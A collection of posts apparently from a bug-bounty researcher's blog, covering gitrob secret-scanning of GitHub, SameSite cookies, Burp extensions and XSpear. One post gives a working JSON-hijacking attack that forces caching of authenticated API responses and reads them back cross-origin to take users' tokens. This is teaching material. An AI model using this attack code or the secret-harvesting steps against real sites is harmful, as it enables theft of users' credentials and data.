How to find important information in github(with gitrob)

Today.. I write in "how to find important information in github(with gitrob)".
It's a very simple article, just introduction...

Install and Github AccessToken Setting

First, download with go get!

go get github.com/michenriksen/gitrob

And let's add go/bin in the rc file(.zshrf, .bashrc, etc...) for ease of use.

# ~/.zshrc

alias gitrob='your-go-path/bin/gitrob'

if you run this, need to github access token is required. This is essential because gitrob uses github api.

$ gitrob
No GitHub access token given. Please provide via command line option or in the GITROB_ACCESS_TOKEN environment variable.

Open github's settings and generate the access token.
https://github.com/settings/tokens

Token grants only read access to the repo because it requires only that privilege. (I don't need anything else.)
When the token is issued, it puts a value in the environment variable called GITROB_ACCESS_TOKEN. Also, this is easy to manage from rc file

export GITROB_ACCESS_TOKEN=your-github-access-token

All right, it's working!

$ gitrob
        _ __           __
  ___ _(_) /________  / /
 / _ `/ / __/ __/ _ \/ _ \
 \_, /_/\__/_/  \___/_.__/
/___/ by @michenriksen

gitrob v2.0.0-beta started at 2020-01-19T01:52:22+09:00
Loaded 91 signatures
Web interface available at http://127.0.0.1:9393
Please provide at least one GitHub organization or user

Usage

Gitrob arguments is options and organization names.

$ gitrob {org_name}

Options

Usage of /Users/hahwul/go/bin/gitrob:
  -bind-address string
     Address to bind web server to (default "127.0.0.1")
  -commit-depth int
     Number of repository commits to process (default 500)
  -debug
     Print debugging information
  -github-access-token string
     GitHub access token to use for API requests
  -load string
     Load session file
  -no-expand-orgs
     Don't add members to targets when processing organizations
  -port int
     Port to run web server on (default 9393)
  -save string
     Save session to file
  -silent
     Suppress all output except for errors
  -threads int
     Number of concurrent threads (default number of logical CPUs)

I can't tell you, but if you turn it around, you'll see this. Once scanning is complete, you can check the results on the web page. By default, it is http://localhost:9393

References

https://github.com/michenriksen/gitrob
https://help.github.com/en/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line

Read More

SameSite=Lax가 Default로? SameSite Cookie에 대해 정확하게 알아보기

올 2월부터 Chrome 브라우저에서 SameSite=Lax가 기본값으로 변경됩니다.

Early October, 2019: Experimental SameSite-by-default and SameSite=None-requires-Secure behavior launched to 50% of users on Chrome Canary and Dev (Chrome Canary and Dev versions 78+). Windows and Mac users on domain-joined devices and Chrome OS users on enterprise-registered devices will be excluded from the experiment. Chrome 78 Beta users will not receive the experimental behavior.

October 31, 2019: Chrome 79 Beta released. Experiment extended to 50% of Chrome 79 Beta users, including domain-joined and enterprise-registered devices. Policies to manage the experimental behavior (see below) will be available on Chrome 79.

Dec 10, 2019: Chrome 79 Stable released. Stable users on Chrome 79 will NOT receive the new SameSite behavior.

Dec 19, 2019: Chrome 80 Beta released. Experimental behavior still enabled for 50% of Chrome 80 Beta users.

February, 2020: Chrome 80 Stable will begin rolling out over a period of time. SameSite-by-default and SameSite=None-requires-Secure will then start being enabled as the default behavior during the Chrome 80 Stable lifecycle.

그리고 SameSite=None을 사용하기 위해선 해당 쿠키에 Secure가 강제된다고 하니.. 꼭 참고하시길 바래요.

보안쪽 입장에선 환영할 부분이지만, 버그바운티헌터나 개발자 입장에선 고려해야할 부분이 많아지는건 사실입니다. 작년에 가볍게 보고 넘어갔던 내용인데, 최근에 리서치해보고 테스트해볼일이 있었는데, 복습 차원으로 글로 남겨봅니다.

SameSite on Cookie?

기본적으로 쿠키는 대상 도메인의 기준으로 전송 유무가 판단됩니다. 예를들어
www.google.com에 발급된 쿠키는 www.hahwul.com에선 사용할 수 없지만 www.hahwul.com에서 www.google.com으로 이동할 땐 쿠키가 붙어서 전송됩니다.

아래처럼 gmail.com이 <a> 태그로 있는 경우도 동일하죠. (구글 로그인이 되었다면 gmail이 열리겠죠.)

gmail

이렇게 웹 페이지간 이동에서 기본적으로 사용되던 쿠키를 이제는 SameSite를 이용해서 외부에서 온 요청인지, 도메인 내부의 요청인지 명확하게 검증하게 됩니다. 이 과정은 작년부터 진행되고 있고 결국은 Lax가 Default가 되는 현상까지 일어났네요.
https://www.chromium.org/updates/same-site

방금까지 이야기한 내용만 토대로 보면 CSRF의 대응방안이 될 수 있습니다. Lax나 Strict가 걸려있는한 공격자가 CSRF를 성공하기 위해선 Cross-domain 정책을 우회할만한 환경이나 기술이 더 필요해진거죠. 관련해선 임준오님 블로그 글 한번 읽어보시면 좋습니다.

SameSite Policy

크게 정책은 3가지로 나뉘어 있습니다.

SameSite=None

SameSite=None

현재 브라우저들 기준으로 Default 값이며 쿠키 사용에 있어서 소스가 되는 주소를 검증하지 않습니다. 

SameSite=Strict

SameSite=Strict

강하게 제한하는 정책으로 소스가 되는 도메인과 대상 도메인이 일치해야만 쿠키가 포함되어 전송됩니다.
예를들면..

(O) www.google.com => www.google.com
(X) www.hahwul.com => www.google.com

여기서 전송이라고 하면, <img> <form> <iframe> $.get() 등 모든 요청을 의미합니다..

SameSite=Lax

SameSite=Lax

마지막으로 Lax는 기존 Strict 정책에서 예외처리가 몇개 된 정책이라고 생각하시면 됩니다. 

<a href> , <link href> <form method=get> 정도만 예외되고 나머지는 Strict와 동일하게 동작합니다.

크로미움에서 정의한 내용도 이와 같습니다.

A cookie with "SameSite=Strict" will only be sent with a same-site request. 
A cookie with "SameSite=Lax" will be sent with a same-site request, or a cross-site top-level navigation with a "safe" HTTP method.
A cookie with "SameSite=None" will be sent with both same-site and cross-site requests.

다만 Lax에서 허가된 것들이 "Safe"한 HTTP Method 이고, 이건 GET을 의미하는 것 같은데요.. 많은 경우가 있듯이 POST=>GET으로 변경 했을 때 가능한 CSRF도 굉장히 많기 때문에 이 또한 인지하고 테스트해야할 부분인 것 같네요.

간단하게 Cross-site 환경에서 Iframe으로 테스트해보면 이렇습니다.

SameSite=None 일 때 <iframe src>

SameSite=Lax 일 때 <iframe src> , Cookie 발생하지 않음

SameSite의 정확한 기준

작년에 SameSite에 대해 처음 알았을땐 사실 도메인에 대한 기준에 별 관심이 없어서 그냥 지나쳤었는데, 최근에 이와 관련해서 테스트해보고 여러 의견을 나눠본 결과.. 매우 중요 했네요.

요점은 www.google.com과 aaa.google.com, 즉 서브 도메인만 다른 경우 SameSite인가? 이고 결론은 SameSite 입니다. 다만 하나 알고가야할건, 이를 나누는 기준이 Public suffix에 명시된 최상위 도메인을 비교하는 겁니다.
https://publicsuffix.org/list/public_suffix_list.dat

그래서, 1.google.com과 2.google.com은 SameSite이지만, 1.github.io 와 2.github.io는 Cross-site 입니다..

web.dev쪽 링크 한번 읽어보시면 좋습니다.

Key Term:

If the user is on www.web.dev and requests an image from static.web.dev then that is a same-site request.

The public suffix list defines this, so it's not just top-level domains like .com but also includes services like github.io. That enables your-project.github.io and my-project.github.io to count as separate sites.

크롬만 SameSite=Lax를 적용하는건가?

크롬이 2월에 예정되어 있어서 보안이나 개발 모두 신경쓰고 있어야하는 부분입니다. 그럼 다른 브라우저는 어떻게 되는걸까요? 우선은 SameSite 는 크롬보다 Firefox나 Safari의 구현이 더 빨랐고 현재도 대다수 브라우저들이 모두 지원하는 상태입니다.


아직은 확실하게 날짜가 나오진 않았지만, Firefox를 비롯해서 다른 브라우저도 Default 값으로 가져가게 되는 것 같습니다.

How to Testing and Programming?

자 이제 어떤건지 알아봤으니 테스트하는 방법을 간략하게 정리해봅시다. 각 브라우저로 별로 현재(20년 1월)까진 기본값이 None으로 설정된 상태라서 테스트가 어렵습니다. 크게 2가지 방법 정도로 테스트해 볼 수 있는데요.

Browser Config

가장 좋은 방법입니다. 크롬(76 이상)과 파폭(69 이상) 모두 Config를 통해 강제로 Lax를 Default로 동작시킬 수 있습니다.

1) FireFox
Firefox의 경우 about:config 진입 후 network.cookie.sameSite.laxByDefault 를 true로 바꿔쥐면 Default가 Lax로 동작합니다.

2) Chrome
Chrome 또한 flags에서 Enable 시켜주시면 Default가 Lax로 동작합니다.
chrome://flags/#cookies-without-same-site-must-be-secure

Browser Cookie Addon

두번째는 EditThisCookie 같은 Addon을 통한 변경 방법입니다. 위 기본값을 바꾸는 것과는 다르게 특정 쿠키만 Lax, Strict를 줄 수 있기 때문에 쿠키 정책을 테스트해볼때 제일 적합한 도구라고 보이네요.

SameSite 구현 예시

물론 전 개발자가 아니기 때문에 구현해야할 일이 많지는 않겠지만, 크롬쪽에서 예시 페이지를 공유해주고 있어서 같이 포함해봤습니다.
https://github.com/GoogleChromeLabs/samesite-examples

뭐 사실 별거 없습니다..ㅋㅋ

document.cookie = 'same-site-cookie=foo; SameSite=Lax';
document.cookie = 'cross-site-cookie=bar; SameSite=None; Secure';

워낙 잘 나와있어서 보고 적용해보시면 될 것 같습니다 :)

References

https://web.dev/samesite-cookies-explained/#explicitly-state-cookie-usage-with-the-samesite-attribute
https://github.com/GoogleChromeLabs/samesite-examples
https://www.chromium.org/updates/same-site
https://imjuno.com/author/imjuno99/

Read More

JSON Hijacking, SOP Bypass Technic with Cache-Control

Today, I write post at technique that bypasses SOP using cache during JSON Hijacking.
It's not always available because conditions are necessary, but if the conditions are right, you can get an unexpected good result.
(오늘은 JSON Hijacking 중 cache를 이용하여 SOP를 우회하는 기법에 대해 이야기하려고 합니다.
물론 이 방법은 조건이 필요하기 때문에 항상 사용할 수 있진 않지만, 조건만 맞는다면 뜻밖의 좋은 결과를 얻을수도 있습니다)

TL;DR

Cached results from states with authentication are imported as non-authentication requests.
(인증상태에서 캐시된 데이터를 비인증 요청으로 리소스를 읽어 SOP에 위배되지 않고 Hijacking을 성공할 수 있습니다.)

However, this condition is mandatory.

Access-Control-Allow-Origin: *

and Cache must be available for vuln API.
(조건은 Origind이 와일드 카드로 허용되어야하고, 캐시 사용이 가능한 API여야합니다. 이유는.. 아래에서 다시)

SOP and CORS

SOP(same-origin policy) is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors.
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin. A web application executes a cross-origin HTTP request when it requests a resource that has a different origin (domain, protocol, or port) from its own.
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

and When Origin is a wildcard, resources can only be read if there is no authentication.
(https://www.hahwul.com/2019/04/why-failed-get-data-with-this-cors-policy.html)

Access-Control-Allow-Origin: *

Cache-Control

Cache-Control HTTP header holds directives (instructions) for caching in both requests and responses. A given directive in a request does not mean the same directive should be in the response.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control

Bypass SOP with CC(Cache-Control)

The process of reading cached data provides the user with a direct read of the data within the browser without requesting it from the remote server.
(캐시된 데이터를 읽는 과정은 실제 서버로 데이터를 요청하지 않고 브라우저 내에 저장된 데이터를 바로 읽어 사용자에게 제공합니다. )

This allows an attacker to pass through the SOP in the form of force caching on pages with sensitive information or read out the results already cached. Because requests that do not include authentication when the Origin policy is a wildcard can read response.
(이걸 이용하여 공격자가 중요 정보가 있는 페이지를 강제로 캐싱시커나 이미 캐시된 결과를 읽어오는 형태로 SOP를 통과할 수 있습니다. 왜냐면 Origin 정책이 wildcard 일 때 인증을 포함하지 않는 요청은 response를 읽을 수 있기 때문이죠)

with Auth

Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}

without Auth

Access-Control-Allow-Origin: *

{}

read cached response

1) caching sensertive data

< req >
GET /yourapi HTTP/1.1
Host: blahblah~~
Cache-Control: private, max-age=3600
Cookie: auth=9839hg1209f1h0f9h

< res >
HTTP/1.1 200 OK
Server: nginx
Cache-Control: private, max-age=3600
Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}

2) read cached data

< req >
GET /yourapi HTTP/1.1
Host: blahblah~~
Origin: *

< res >
HTTP/1.1 200 OK
Server: nginx
Cache-Control: private, max-age=3600
Access-Control-Allow-Origin: *

{"username":"hahwul","token":"ABCDEFG123456"}

Attack Code

It just, simple.
1) caching,
2) read data from cache storage

<!-- Step1, Caching with Auth -->
<script>  
var url = "https://vulnpage?cachepoint";  
fetch(url, {    
    method: 'GET',    
    cache: 'force-cache'
    });
</script>
<!-- Sometimes, it is convenient to use the img tag when it is cached by default. -->
<!-- <img src="https://vulnpage?cachepoint"> -->


<!-- Step2, Get Userdata without Auth(Using cache)-->
<script>
//delay for cached
setTimeout(function (){
  // get information without auth
  $.ajax({
      url: "/vulnpage?cachepoint",
      type: "get",
      xhrFields: {
        withCredentials: false 
      },
      headers: {
          "Accept":"application/json",
          "Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
      },
      success: function (data) {
          console.info(data);
      }
  });
}, 2000);
</script>

Tip: That's not going to happen, but in case it's a public cache, we attach arbitrary parameters (so only get me).
(혹시라도 퍼블릭 캐시인 경우엔.. 캐시 데이터를 식별하기 좋도록 임의의 파라미터를 붙여주는게 좋습니다. 요건 Desync attack이나 캐시 포이즈닝에도 동일하게 사용하는 팁? 입니다..)

in Request.cache, force-cache can be used to create force-cache requests. Sometimes, it is convenient to use the img tag when it is cached by default.

// e.g
if (res.status === 200) {
      controller.abort()
      controller = new AbortController();
      return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal})
    }

(Request.cache 중 force-cache를 이용하여 강제 캐시 요청을 만들 수 있습니다. 혹시라도 기본적으로 캐시되는 페이지라면 img 태그도 가능합니다.)
https://developer.mozilla.org/en-US/docs/Web/API/Request/cache

Conclusion

It's not a trick that you can use often because there are some restrictions, but it's a good technique if conditions are right.
(제한 조건이 조금 있어서 자주 사용할 수 있는 트릭은 아니지만, 조건만 맞는다면 충분히 해볼만한 기법이니다. 실제 버바 사례로도 나오긴하니.. 참고하시면 좋을 것 같습니다)


Happy hacking!

https://i.giphy.com/FnGJfc18tDDHy.gif

Reference

https://en.wikipedia.org/wiki/Same-origin_policy
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
https://developer.mozilla.org/en-US/docs/Web/API/Request/cache
https://securityboulevard.com/2019/04/bypassing-sop-using-the-browser-cache/
https://hackerone.com/reports/761726
https://www.hahwul.com/2019/04/why-failed-get-data-with-this-cors-policy.html

Read More

Stepper! Evolution repeater on Burp suite

오늘은 Burp suite의 확장 기능 하나를 소개할까 합니다.
개인적으로 최근에 찾은 것 중에 정말 쓸만하다고 느끼는 확장 기능입니다.

Stepper(https://github.com/CoreyD97/Stepper)입니다.

What is Stepper?

Stepper는 기존 Repeater의 개선 버전 정도로 생각하시면 좋습니다. Repeater는 단순히 요청에 대한 응답을 테스트할 수 있는 Burp suite의 기본 기능이고, Stepper에선 Repeater를 기반으로 좀 더 많은 기능이 내장되어 있습니다.

전반적인 컨셉은 Step by Step에 최적화된 Repeater입니다.

How to install

Stepper는 아직 인기가 많은 확장 기능은 아니고 BApp Store에도 없습니다. jar 파일 다운로드 후 직접 설치가 필요합니다.

$ wget https://github.com/CoreyD97/Stepper/releases/download/v1.3/Stepper-1.3.jar

• 신규 릴리즈가 나오면 버전이 바뀌게 되니 릴리즈 링크에서 직접 받아서 하시는걸 추천드립니다.

Extension tab에서 불러와줍니다.

How to use? How to Testing

크게 Tab(Sequence)과 Step 부분으로 나뉩니다. Tab은 한 작업, 즉 플로우를 의미하고 Step 부분에서 각각 순서에 맞는 요청을 세팅할 수 있습니다. 기존에 Repeater로 밀어넣듯이 Context menu에서 넣어주시면 됩니다.

우선 여러가지 기능을 제외하고도 플로우의 Req/Res를 한군데 모아둘 수 있다는 것 자체만으로도 큰 이점입니다만, 이를 한번에 순차로 실행할 수 있고 변수를 이용해서 Step 간의 특정 데이터들을 공유하여 사용할 수 있습니다.

Use case 1 - Channing Attack

기존 Repeater로 Chain Attack을 정리하기란 상당히 귀찮습니다.

항상 이런 불상사가... (4개면 다행이죠)

이럴 때 Chaing Attack의 큰 이름을 Tab(시퀀스)로 지정해주고 각각 단위의 Step을 추가해서 테스팅하면 굉장히 편합니다. 물론 별도의 PoC를 만들어야한다면..어느정도 작업이 필요하겠지만, 그래도 Repeater 보다는 훨씬 좋습니다.

Use case 2

Flow를 중요시하게 봐야하는 구간에서 진짜 유용합니다. 대표적으로 비즈니스 로직 부분이나 금융, 결제 관련해선 요청의 흐름을 잘 기록하고 테스트 해야하는데, 이 때 유용하게 사용됩니다.

Conclusion

예전부터 Burp+ZAP 조합을 사용하곤 있지만, 실제론 Burp 사용 빈도가 압도적으로 높습니다.
(어쩔 수 없나봐요.. 분석 자체는 Burp가 훨씬 좋으니..)

그 중 큰 역할을 차지하는게 확장 기능쪽인데, Burp쪽의 오픈소스나 공식 지원 확장 기능은 정말 유용한 것 같습니다.
(다만 만들기는 참 불편..)

굉장히 쓸만한 도구를 건진 것 같은 느낌이니 다같이 잘 써봅시당 :)

Read More

Three my goals for 2020

Hi hackers and my readers, this is my first article of the new year. Several articles are currently being written and waiting, but I wanted to be the first to write this.

Today I'm going to talk about my 3 goal in 2020.
(Everybody does it once. lol)

1. Changing the design and concept of a blog

It's already applied and you might have noticed. It's already applied and you might have noticed. I changed it for readability, speed, and my satisfaction.
(of course, the improvement will continue.)

2. Complete conversion of the main language from Ruby to Golang

I've been trying since the end of last year. I'm getting used to it, but I'm still a little short. I want to be perfect in 2020.

3. My technological evolution

If technology expansion was the main force last year, I think this year is an evolving process.
It's very abstract. to sum up, I'm going to do a deeper study this year.

Finally, 

as always, I will be faithful to my family, my life, my work and my bugbounty :)

Happy new year!

Read More

Run other application on Burp suite(Burp suite에서 다른 앱 실행하기)

오늘은 Burp suite에서 외부 앱을 실행하는 방법에 대해 이야기하려고 합니다. 사실 비슷한 내용(ZAP)으로 예전에 글을 쓴적이 있었는데요, 드디어 관련 확장 기능이 업데이트되어서 Burp suite에서도 동일한 짓을 할 수 있습니다.
Today I'am going to talk about how to run an external app on the Burp suite. In fact, I've written something similar in the past, and it's finally updated to do the same thing with the Burp suite.

Run other application on ZAP
(https://www.hahwul.com/2019/07/easy-security-testing-with-applications-bridge-in-zap.html)

드디어! Burp도 된다!

if you use MacOS?

MacOS에선 리눅스 xterm과 같이 기본 터미널에 명령행을 전달할 수 없습니다. (파일 로드만 가능함)
그래서 외부 코드를 실행해줄 수 있는 파일을 만들고 이를 호출하여 실행이 필요합니다.
MacOS is unable to forward command lines to the primary terminal, such as Linux xterm. (File load only)
So you need to create a file that can run an external code and call it to run.

echo '
on run argv
  if length of argv is equal to 0
    set command to ""
  else
    set command to item 1 of argv
  end if
  if length of argv is greater than 1
    set profile to item 2 of argv
    runWithProfile(command, profile)
  else
    runSimple(command)
  end if
end run
on runSimple(command)
  tell application "Terminal"
    activate
    set newTab to do script(command)
  end tell
  return newTab
end runSimple
on runWithProfile(command, profile)
  set newTab to runSimple(command)
  tell application "Terminal" to set current settings of newTab to (first settings set whose name is profile)
end runWithProfile
' | osascript - "$@" > /dev/null

실행이 필요하기 때문에 권한을 부여해줍니다.
Grants permission because it requires execution.

$ chmod 755 thisscript.sh

Install Custom send to

BApp 스토어에 보면 Custom Send To 라는 앱이 있습니다. Pro 버전 전용도 아니니 CE 유저분들도 설치해서 사용할 수 있습니다.
If you look at the BApp store, there is an app called Custom Send To. It's not only for Pro version, so CE users can install it and use it.

Setting application information

설치를 완료하면 탭이 생기게 됩니다. 해당 탭에서 어떤 명령을 실행할지, 어떤 터미널에서 실행할지 지정해줄 수 있습니다.
When you complete the installation, you will have tabs. You can specify which commands to run on that tab and which terminals to run.

리눅스의 경우 기본 터미널인 xterm을 유지해도 되지만, MacOS의 경우 문제가 있어서 아까 만들어둔 스크립트로 경로를 변경해줍니다. 이 때 %C는 위에 지정한 명령이 들어가는 자리입니다.
For Linux, you can keep the default terminal xterm, but for MacOS, there is a problem, so you change the path to the script you created. At this point, %C is the place where the command specified above is placed.

< Entires >
%S : Seleted data(string)
%F : Seleted data(save file)

< Miscellaneous >
%C : Command

Send to Other Application

Request tab => Copy All data => Context menu(right click) => Send to your app

여기서 재미있는점은 Send to 로 요청 시 request 탭에서 선택한 부분이 파일로 저장되어 파일 인자값으로 사용됩니다. XSpear의 경우 --raw 옵션을 통해 파일을 읽을 수 있어서 아까 설정에서 그렇게 지정해줬습니다.
The interesting point here is that when you request Send to , the selected portion of the request tab is saved to a file and used as a file argument. For XSpear, you can read the file through the --raw option, so that's what the upper this post.

Conclusion

예전 ZAP글에도 써놨듯이, 외부 툴 연동은 정말 유용한 기능입니다. 꼭 세팅해두고 쓰시길 바래요!

Read More

XSpear 1.3 version released!

Hi hackers! I worked hard to finish the XSpear 1.3 version with this year's last release. and, 1.3 version released!

Key features included in this update include:

1)
There was an enhancement to the scanning function. Scanning for Path and scanning for JS internal XSS have been added. (In fact, everyone can easily develop and give PR because all scanning functions operate as modules.)

2) Config file usage is supported.
It was inconvenient to insert blind-xs url (xsshunter, etc..), but it can be automatically included via the setup file.

3) Reforming the Log-UI of the CLI
The verbose phase has been increased. (and add progress-bar!)

In addition, I been adding features since version 1.2. Please read README!

https://github.com/hahwul/XSpear

How to update?

gem update XSpear

Conclusion

and, Happy new year!

Read More